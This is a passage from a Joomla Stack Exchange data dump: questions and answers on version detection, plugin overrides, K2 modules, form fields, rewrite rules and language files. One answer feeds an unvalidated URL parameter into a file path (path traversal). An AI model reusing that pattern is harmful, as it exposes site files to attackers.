curl_exec($ch);&#xA;        $getinfo = curl_getinfo($ch, CURLINFO_HTTP_CODE);&#xA;        curl_close($ch);&#xA;&#xA;        return $getinfo;&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then call the function like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$version = new JoomlaVersions;&#xA;echo $version-&amp;gt;getJoomlaVersion('http://joomla.org');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I've created a module on my website as a Tool for other users:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://joomjunk.co.uk/extras-page/joomla-version-detect.html&quot; rel=&quot;noreferrer&quot;&gt;Joomla Version Detection Tool&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I've also created a Github repository if you wish to fork it or submit pull requests:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/C-Lodder/joomla-version-detect&quot; rel=&quot;noreferrer&quot;&gt;Joomla Version Detect Github Repo&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Anyway, as some of you know, I'm not a backend developer so there are probably a lot of improvements which can be made to the code. If you have another solution or can update what I currently have, be sure to post it as a new answer.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-05-08T14:03:32.487" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7188" PostTypeId="2" ParentId="7148" CreationDate="2015-01-24T13:34:02.430" Score="3" Body="&lt;p&gt;If you are interested only in versions of sites &lt;strong&gt;&lt;em&gt;you manage&lt;/em&gt;&lt;/strong&gt;, then you can create and install a small plugin which shares Joomla version by opening plugin URL, for example&lt;br&gt;&#xA;&lt;code&gt;http://example.com/plugins/getversion/getversion.php?configuredSecret&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I did not need it yet so I don't have the code. But based on &lt;a href=&quot;https://joomla.stackexchange.com/a/7187/324&quot;&gt;Lodder's answer&lt;/a&gt;, you can see how to read &lt;em&gt;Joomla!&lt;/em&gt; mainfest file &lt;code&gt;/administrator/manifests/files/joomla.xml&lt;/code&gt; in order to return the version number.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note mostly for newbies: &lt;code&gt;configuredSecret&lt;/code&gt; is one of classical approaches to share publicly visible channel only to authorized requests. It is commonly used for connecting two systems if there is no better way to protect integrating connection.&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-01-24T13:40:36.460" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7189" PostTypeId="1" AcceptedAnswerId="7200" CreationDate="2015-01-24T14:55:31.870" Score="1" ViewCount="336" Body="&lt;p&gt;I'm creating a Core override plugin(for overriding the 3r party extension) using &lt;a href=&quot;https://docs.joomla.org/How_to_override_the_component_mvc_from_the_Joomla!_core&quot; rel=&quot;nofollow&quot;&gt;Joomla system plugin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is Cannot redeclare class VirtueMartCart error showing on t3 framework based template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Joomla version is 3.3.6 and VM 3.0.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same plugin works fine on fresh installation but it return the error on this T3 based existing site. I tried to switch template but same issue . I think some other plugin is casing the issue any idea ? :( &lt;/p&gt;&#xA;&#xA;&lt;p&gt;System Plugin Override Approach.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class plgSystemComVirtuemartOverride extends JPlugin{&#xA;&#xA;    public function __construct(&amp;amp;$subject, $config = array()) {&#xA;&#xA;         parent::__construct($subject, $config);&#xA;     }&#xA;&#xA;     public function  onAfterRoute () {&#xA;&#xA;        $app = JFactory::getApplication();&#xA;        if('com_virtuemart' == JRequest::getCMD('option') &amp;amp;&amp;amp; !$app-&amp;gt;isAdmin()) {&#xA;            $template = $app-&amp;gt;getTemplate();&#xA;&#xA;            require_once(JPATH_SITE.'/templates/'.$template.'/code/com_virtuemart/helpers/cart.php');&#xA;&#xA;        }&#xA;    }   &#xA;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="138" LastEditorUserId="138" LastEditDate="2015-01-24T16:46:21.827" LastActivityDate="2015-01-25T05:06:19.340" Title="Cannot redeclare class error with System Override plugin" Tags="|plugin|overrides|mvc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7190" PostTypeId="2" ParentId="7182" CreationDate="2015-01-24T15:05:09.803" Score="2" Body="&lt;p&gt;Why you are editing core files. When an updates comes all your changes lost!.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;do not edit core files you can override default messages by adding template overrides.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;go to admin -&gt; Extension -&gt; Language Manager -&gt; Override -&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add your constant set your custom message. &#xA;Done !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it make sense..&lt;/p&gt;&#xA;" OwnerUserId="138" LastActivityDate="2015-01-24T15:05:09.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7192" PostTypeId="1" CreationDate="2015-01-24T15:16:19.180" Score="0" ViewCount="185" Body="&lt;p&gt;I'm new with PHP and I'm developing a website with joomla 3. I have a module which is k2 users where I show all k2 users, well, I want to add to this module some fields from the User Extended Fields Plugin and I don't know how to do it. What I have tried it's this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;&#xA;// no direct access&#xA;defined('_JEXEC') or die;&#xA;$params = K2HelperUtilities::getParams('com_k2');&#xA;$limitstart = JRequest::getInt('limitstart');&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;k2ModuleBox&amp;lt;?php echo $module-&amp;gt;id; ?&amp;gt;&quot; class=&quot;k2UsersBlock&amp;lt;?php    if($params-&amp;gt;get('moduleclass_sfx')) echo ' '.$params-&amp;gt;get('moduleclass_sfx'); ?&amp;gt;&quot;&amp;gt;&#xA;   &amp;lt;table id=&quot;tUsuarios&quot;&amp;gt;&#xA;   &amp;lt;thead&amp;gt;&#xA;   &amp;lt;tr&amp;gt;&#xA;       &amp;lt;th&amp;gt;Avatar&amp;lt;/th&amp;gt;&#xA;       &amp;lt;th&amp;gt;Nombre&amp;lt;/th&amp;gt;&#xA;       &amp;lt;th&amp;gt;Descripción&amp;lt;/th&amp;gt;&#xA;       &amp;lt;th&amp;gt;Correo&amp;lt;/th&amp;gt;&#xA;   &amp;lt;/tr&amp;gt;&#xA; &amp;lt;/thead&amp;gt;&#xA; &amp;lt;tbody&amp;gt;&#xA;        &amp;lt;?php foreach($users as $key=&amp;gt;$user): &#xA;&#xA;        $dispatcher = JDispatcher::getInstance();&#xA;                        JPluginHelper::importPlugin('k2');&#xA;                        $results = $dispatcher-&amp;gt;trigger('onK2UserDisplay', array(&amp;amp;$user-&amp;gt;profile, &amp;amp;$params, $limitstart));&#xA;                echo $user-&amp;gt;youtube;&#xA;    ?&amp;gt;&#xA;    &amp;lt;tr class=&quot;&amp;lt;?php echo ($key%2) ? &quot;odd&quot; : &quot;even&quot;; if(count($users)==$key+1) echo ' lastItem'; ?&amp;gt;&quot;&amp;gt;&#xA;      &amp;lt;td&amp;gt;  &#xA;        &amp;lt;?php if($userAvatar &amp;amp;&amp;amp; !empty($user-&amp;gt;avatar)): ?&amp;gt;&#xA;        &amp;lt;a class=&quot;k2Avatar ubUserAvatar&quot; rel=&quot;author&quot; href=&quot;&amp;lt;?php echo $user-&amp;gt;link; ?&amp;gt;&quot; title=&quot;&amp;lt;?php echo K2HelperUtilities::cleanHtml($user-&amp;gt;name); ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;img src=&quot;&amp;lt;?php echo $user-&amp;gt;avatar; ?&amp;gt;&quot; alt=&quot;&amp;lt;?php echo K2HelperUtilities::cleanHtml($user-&amp;gt;name); ?&amp;gt;&quot; style=&quot;width:&amp;lt;?php echo $avatarWidth; ?&amp;gt;px;height:auto;&quot; /&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;      &amp;lt;/td&amp;gt;&#xA;      &amp;lt;td&amp;gt;  &#xA;        &amp;lt;?php if($userName): ?&amp;gt;&#xA;        &amp;lt;a class=&quot;ubUserName&quot; rel=&quot;author&quot; href=&quot;&amp;lt;?php echo $user-&amp;gt;link; ?&amp;gt;&quot; title=&quot;&amp;lt;?php echo K2HelperUtilities::cleanHtml($user-&amp;gt;name); ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;?php echo $user-&amp;gt;name; ?&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;     &amp;lt;/td&amp;gt;&#xA;     &amp;lt;td&amp;gt;   &#xA;        &amp;lt;?php if($userDescription &amp;amp;&amp;amp; $user-&amp;gt;description): ?&amp;gt;&#xA;        &amp;lt;div class=&quot;ubUserDescription&quot;&amp;gt;&#xA;            &amp;lt;?php if($userDescriptionWordLimit): ?&amp;gt;&#xA;            &amp;lt;?php echo K2HelperUtilities::wordLimit($user-&amp;gt;description, $userDescriptionWordLimit) ?&amp;gt;&#xA;            &amp;lt;?php else: ?&amp;gt;&#xA;            &amp;lt;?php echo $user-&amp;gt;description; ?&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;     &amp;lt;/td&amp;gt;&#xA;     &amp;lt;td&amp;gt;&#xA;        &amp;lt;?php if($userFeed || ($userURL &amp;amp;&amp;amp; $user-&amp;gt;url) || $userEmail): ?&amp;gt;&#xA;        &amp;lt;div class=&quot;ubUserAdditionalInfo&quot;&amp;gt;&#xA;&#xA;            &amp;lt;?php if($userFeed): ?&amp;gt;&#xA;            &amp;lt;!-- RSS feed icon --&amp;gt;&#xA;            &amp;lt;a class=&quot;ubUserFeedIcon&quot; href=&quot;&amp;lt;?php echo $user-&amp;gt;feed; ?&amp;gt;&quot; title=&quot;&amp;lt;?php echo JText::_('K2_SUBSCRIBE_TO_THIS_USERS_RSS_FEED'); ?&amp;gt;&quot;&amp;gt;&#xA;                &amp;lt;span&amp;gt;&amp;lt;?php echo JText::_('K2_SUBSCRIBE_TO_THIS_USERS_RSS_FEED'); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;            &amp;lt;/a&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;            &amp;lt;?php if($userURL &amp;amp;&amp;amp; $user-&amp;gt;url): ?&amp;gt;&#xA;            &amp;lt;a class=&quot;ubUserURL&quot; rel=&quot;me&quot; href=&quot;&amp;lt;?php echo $user-&amp;gt;url; ?&amp;gt;&quot; title=&quot;&amp;lt;?php echo JText::_('K2_WEBSITE'); ?&amp;gt;&quot; target=&quot;_blank&quot;&amp;gt;&#xA;                &amp;lt;span&amp;gt;&amp;lt;?php echo JText::_('K2_WEBSITE'); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;            &amp;lt;/a&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;            &amp;lt;?php if($userEmail): ?&amp;gt;&#xA;            &amp;lt;span class=&quot;ubUserEmail&quot; title=&quot;&amp;lt;?php echo JText::_('K2_EMAIL'); ?&amp;gt;&quot;&amp;gt;&#xA;                &amp;lt;?php echo JHTML::_('Email.cloak', $user-&amp;gt;email); ?&amp;gt;&#xA;            &amp;lt;/span&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;      &amp;lt;/td&amp;gt;&#xA;      &amp;lt;td&amp;gt;  &#xA;        &amp;lt;?php if($userItemCount &amp;amp;&amp;amp; count($user-&amp;gt;items)): ?&amp;gt;&#xA;        &amp;lt;h3&amp;gt;&amp;lt;?php echo JText::_('K2_RECENT_ITEMS'); ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;ul class=&quot;ubUserItems&quot;&amp;gt;&#xA;            &amp;lt;?php foreach ($user-&amp;gt;items as $item): ?&amp;gt;&#xA;            &amp;lt;li&amp;gt;&#xA;                &amp;lt;a href=&quot;&amp;lt;?php echo $item-&amp;gt;link; ?&amp;gt;&quot; title=&quot;&amp;lt;?php echo K2HelperUtilities::cleanHtml($item-&amp;gt;title); ?&amp;gt;&quot;&amp;gt;&#xA;                    &amp;lt;?php echo $item-&amp;gt;title; ?&amp;gt;&#xA;                &amp;lt;/a&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;            &amp;lt;?php endforeach; ?&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;      &amp;lt;/td&amp;gt; &#xA;        &amp;lt;div class=&quot;clr&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/tbody&amp;gt;    &#xA;&amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do it?, Thanks a lot in advance.&lt;/p&gt;&#xA;" OwnerUserId="3562" LastEditorUserId="159" LastEditDate="2015-01-24T18:00:40.183" LastActivityDate="2015-01-24T18:00:40.183" Title="User Extended Fields Problem" Tags="|joomla-3.x|php|fix-my-code|k2|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7193" PostTypeId="1" CreationDate="2015-01-24T18:02:22.093" Score="1" ViewCount="620" Body="&lt;p&gt;I'm changing user profile plugin in Joomla 3.3, using method described in &lt;a href=&quot;http://www.inmotionhosting.com/support/edu/joomla-25/user-profile&quot; rel=&quot;nofollow&quot;&gt;http://www.inmotionhosting.com/support/edu/joomla-25/user-profile&lt;/a&gt; tutorial. Everything works and OK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I want to make some changes in profile. In this profile plugin there are two xml files, One for administrator controlling what will appear in registration and profile editing forms, and the second one for the registration (profile editing) form itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;showon feature works good in the first xml file, but does nothing in second file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas about reason and solution ?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;@Lodder. I want to add some fields on user profile, based on previous field value. for example if the user is teacher, it brings up course field, if is a student instead brings up classNo. field.&#xA;So inside plugin profile5 , I changed two files.&#xA;first one &quot;./plugins/user/profile5/profile5.xml&quot;, which is responsible for administration of this plugin. In this file I have added following lines where showon works as expected.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;extension ....&amp;gt;&#xA;&amp;lt;name&amp;gt;...&amp;lt;/name&amp;gt;&#xA;....&#xA;...&#xA;&amp;lt;config&amp;gt;&#xA;&amp;lt;fields name = &quot;params&quot;&amp;gt;&#xA;&amp;lt;fieldset name = &quot;basic&quot; &amp;gt;&#xA;&amp;lt;field&amp;gt; ... &amp;lt;/field&amp;gt;&#xA;&amp;lt;field&amp;gt; ... &amp;lt;/field&amp;gt;&#xA;&amp;lt;field&amp;gt; ... &amp;lt;/field&amp;gt;&#xA;.....&#xA;&#xA;            ***&amp;lt;field name=&quot;register-require_dpost&quot; type=&quot;list&quot;&#xA;                    description=&quot;If you are a student or teacher, enter it here.&quot;&#xA;                    label=&quot;Your post student or teacher&quot;&#xA;            &amp;gt;&#xA;                    &amp;lt;option value=&quot;2&quot;&amp;gt;JOPTION_REQUIRED&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;1&quot;&amp;gt;JOPTION_OPTIONAL&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;0&quot;&amp;gt;JDISABLED&amp;lt;/option&amp;gt;&#xA;            &amp;lt;/field&amp;gt;&#xA;&#xA;            &amp;lt;field name=&quot;register-require_dclass&quot; type=&quot;list&quot;&#xA;                    description=&quot;If you are a student, enter your class here.&quot;&#xA;                    label=&quot;Your class&quot;&#xA;                    showon=&quot;register-require_dpost:1,2&quot;&#xA;            &amp;gt;&#xA;                    &amp;lt;option value=&quot;2&quot;&amp;gt;JOPTION_REQUIRED&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;1&quot;&amp;gt;JOPTION_OPTIONAL&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;0&quot;&amp;gt;JDISABLED&amp;lt;/option&amp;gt;&#xA;            &amp;lt;/field&amp;gt;***&#xA;....&#xA;....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second file I have edited is &quot;./plugins/user/profile5/profiles/profile.xml&quot; here I also added two fields where second one should rise conditionally, but it does not do what expected.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form&amp;gt;&#xA;&amp;lt;fields..&amp;gt;&#xA;&amp;lt;fieldset...&amp;gt;&#xA;&amp;lt;field.../&amp;gt; &#xA;&amp;lt;field.../&amp;gt; &#xA;&amp;lt;field.../&amp;gt; &#xA;....&#xA;&#xA;        ***&amp;lt;field&#xA;                name=&quot;dpost&quot;&#xA;                type=&quot;radio&quot;&#xA;                id=&quot;dpost&quot;&#xA;                description=&quot;Enter your post here&quot;&#xA;                filter=&quot;string&quot;&#xA;                label=&quot;Your post&quot;&#xA;                message=&quot;PLG_USER_PROFILE_FIELD_WEB_SITE_MESSAGE&quot;&#xA;                size=&quot;30&quot;&amp;gt;&#xA;                &amp;lt;option value=&quot;1&quot;&amp;gt;Teacher&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;2&quot;&amp;gt;Student&amp;lt;/option&amp;gt;&#xA;&#xA;        &amp;lt;/field&amp;gt;&#xA;        &amp;lt;field &#xA;            name=&quot;dclass&quot;&#xA;            type=&quot;list&quot;&#xA;            showon=&quot;dpost:1&quot;&#xA;            &amp;gt;&#xA;                &amp;lt;option value=&quot;501&quot;&amp;gt;501&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;502&quot;&amp;gt;502&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;503&quot;&amp;gt;503&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;504&quot;&amp;gt;504&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;505&quot;&amp;gt;505&amp;lt;/option&amp;gt;&#xA;&#xA;            &amp;lt;/field&amp;gt;***&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the problem is about performance of showon in xml file. Is there something in backend which is not present in frontend? Or maybe I'm doing something wrong.&lt;/p&gt;&#xA;" OwnerUserId="3564" LastEditorUserId="126" LastEditDate="2016-01-21T23:40:24.677" LastActivityDate="2016-01-21T23:40:24.677" Title="Showon works on plugin backend but not frontend" Tags="|plugin|form|form-fields-types|profile|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7194" PostTypeId="1" CreationDate="2015-01-24T18:12:36.777" Score="1" ViewCount="3859" Body="&lt;p&gt;My website is made with Joomla. I've got a subfolder which contains plain html/css pages. I don't want Joomla to rewrite URLs inside this subfolder.&#xA;Now, I have the page in this path:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.mywebsite.com/myfolder/mypage.html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Joomla rewrite the URL in this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.mywebsite.com/en/myfolder/mypage.html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the I get the message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Article not found!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not a pro with .htaccess configuration, but I've made a couple of tries. For example, I've but an .htaccess file in the subfolder with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine Off&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in the root .htaccess file I've added:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_URI} !^/(demo_formati.*)$&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But both of these operations are not the solution...&#xA;Any help? thank you.&lt;/p&gt;&#xA;" OwnerUserId="3565" LastActivityDate="2015-06-10T15:46:50.183" Title="Can't exclude subfolder from rewrite rules in Joomla" Tags="|.htaccess-configuration|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7195" PostTypeId="2" ParentId="7161" CreationDate="2015-01-24T19:30:54.800" Score="1" Body="&lt;p&gt;It does not really matter whether you are upgrading your site on a local machine. As long as your Joomla! can access the internet and so grab the necessary upgrade files. It should tell you that an upgrade can be downloaded as soon as you enable 'Short term support' and then clear your cache and refresh the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be careful: There are some caveats in upgrading, like the one with disabling or even renaming the remeber plugin!&lt;/p&gt;&#xA;" OwnerUserId="3566" LastActivityDate="2015-01-24T19:30:54.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7196" PostTypeId="2" ParentId="7151" CreationDate="2015-01-24T19:40:08.877" Score="1" Body="&lt;p&gt;It's the way Joomla's router works. Peerhaps it will change in the future, but unfortunately the only way to get SEF links on a single article is to have a 'blind' (=unpublished) menu item pointing to the article.&lt;/p&gt;&#xA;" OwnerUserId="3566" LastActivityDate="2015-01-24T19:40:08.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7198" PostTypeId="2" ParentId="7151" CreationDate="2015-01-24T21:52:19.340" Score="1" Body="&lt;p&gt;Create a new (hidden) menuitem that links to a blog-layout, pointing to the category our attorneys. And voila! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The router will look up any blog menu item with that category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Experiment with the location of this new menuitem since that will be part of the SEF.&lt;/p&gt;&#xA;" OwnerUserId="3567" LastActivityDate="2015-01-24T21:52:19.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7199" PostTypeId="2" ParentId="6945" CreationDate="2015-01-24T21:59:03.790" Score="2" Body="&lt;p&gt;Possible other solutions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use &lt;a href=&quot;https://www.nonumber.nl/en/extensions/rereplacer&quot; rel=&quot;nofollow&quot;&gt;https://www.nonumber.nl/en/extensions/rereplacer&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Find the php code that writes this wrong div and replace it with your own code&lt;/li&gt;&#xA;&lt;li&gt;Use jQuery to replace the divs&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3567" LastActivityDate="2015-01-24T21:59:03.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7200" PostTypeId="2" ParentId="7189" CreationDate="2015-01-25T05:06:19.340" Score="1" Body="&lt;p&gt;I figure it out the reason for Cannot redeclare class error with Joomla system override plugin in particular site, is due to another plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another plugin is manually loaded the class So its not like  Joomla System override method. so my real override system plugin dead!. by disabling that plugin everything works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody face such a situation first check your plugin list disable all other 3rd party system plugin and debug it will works!.&lt;/p&gt;&#xA;" OwnerUserId="138" LastActivityDate="2015-01-25T05:06:19.340" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7202" PostTypeId="2" ParentId="6912" CreationDate="2015-01-25T13:27:44.043" Score="1" Body="&lt;p&gt;MVC is a pattern, not a law. So you are always free to code it your way. But according to current standard you would avoid a View, because there is nothing to display. Just a controller which is getting the data from the Model and returning it as response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In most cases i would write a general Controller for handling files and inherit from it.&lt;/p&gt;&#xA;" OwnerUserId="3518" LastActivityDate="2015-01-25T13:27:44.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7203" PostTypeId="2" ParentId="6912" CreationDate="2015-01-25T13:36:02.833" Score="1" Body="&lt;p&gt;Basically you can do it with a controller and a model.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The controller will be called like: &lt;code&gt;index.php?option=com_example&amp;amp;task=getFile&amp;amp;fileName=example.png&amp;amp;format=raw&lt;/code&gt; where the controller will call a method from the model and will make sure it provides the right header so that the browser can display / download the file.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The model can have a simple &lt;code&gt;getFile($fileName)&lt;/code&gt; method and will return the result of the query.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="159" LastActivityDate="2015-01-25T13:36:02.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7204" PostTypeId="2" ParentId="7174" CreationDate="2015-01-25T14:07:37.447" Score="1" Body="&lt;p&gt;Unfortunately Joomla 3 does not seem to support language initialization in external scripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I therefore had to construct an alternative solution, which might be of help to others wanting to code external scripts such as APPs and API´s for Joomla 3 with multilanguage support using Joomla´s override language files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I did.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I transferred the current users language tag to external script as URL parameter (in my case the external script is loaded via Ajax). e.g. &lt;code&gt;&quot;/scriptfolder/externalfile.php?lang=da-DK&quot;&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In external script I included the following class needed to parse the override lang ini file found in &lt;code&gt;/language/overrides/&lt;/code&gt; (of course you can use any ini language file you like, maybe your own custom lang file from script folder):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class ArrayINI implements ArrayAccess, IteratorAggregate {&#xA;    private $lang;&#xA;&#xA;    public function __construct($ini) {&#xA;        $this-&amp;gt;lang = parse_ini_file($ini);&#xA;    }&#xA;&#xA;    function __invoke($offset) {&#xA;        return $this-&amp;gt;offsetGet($offset);&#xA;    }&#xA;&#xA;    public function getIterator() {&#xA;        return new ArrayIterator($this-&amp;gt;lang);&#xA;    }&#xA;&#xA;    public function offsetSet($offset, $value) {&#xA;        if (is_null($offset)) {&#xA;            $this-&amp;gt;lang[] = $value;&#xA;        } else {&#xA;            $this-&amp;gt;lang[$offset] = $value;&#xA;        }&#xA;    }&#xA;&#xA;    public function offsetExists($offset) {&#xA;        return isset($this-&amp;gt;lang[$offset]);&#xA;    }&#xA;&#xA;    public function offsetUnset($offset) {&#xA;        unset($this-&amp;gt;lang[$offset]);&#xA;    }&#xA;&#xA;    public function offsetGet($offset) {&#xA;        return isset($this-&amp;gt;lang[$offset]) ? $this-&amp;gt;lang[$offset] : null;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then I executed the class to parse the file like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$finallangparams = $_GET['userlang'];&#xA;$iniLang = new ArrayINI(&quot;../../language/overrides/&quot;.$finallangparams.&quot;.override.ini&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;And now I can echo all the language strings I want like this example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $iniLang(&quot;PHP_CHAT_CUSTOM_NEED_HELP_FRONT&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;And that´s it!&lt;/p&gt;&#xA;" OwnerUserId="3555" LastEditorUserId="11451" LastEditDate="2017-09-11T00:02:58.317" LastActivityDate="2017-09-11T00:02:58.317" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7205" PostTypeId="2" ParentId="7125" CreationDate="2015-01-25T14:18:25.567" Score="1" Body="&lt;p&gt;I had kinda the same problem, but in the end I figured out how to make it work for my specific application using an alternative method.&#xA;Watch my solution here:&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/7174/getting-current-language-in-joomla-3-in-external-script-seems-difficult-but-wo?lq=1&quot;&gt;Getting current language in Joomla 3 in external script seems difficult.. but works fine in J2.5&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope you can use the same method :)&lt;/p&gt;&#xA;" OwnerUserId="3555" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-01-25T14:18:25.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
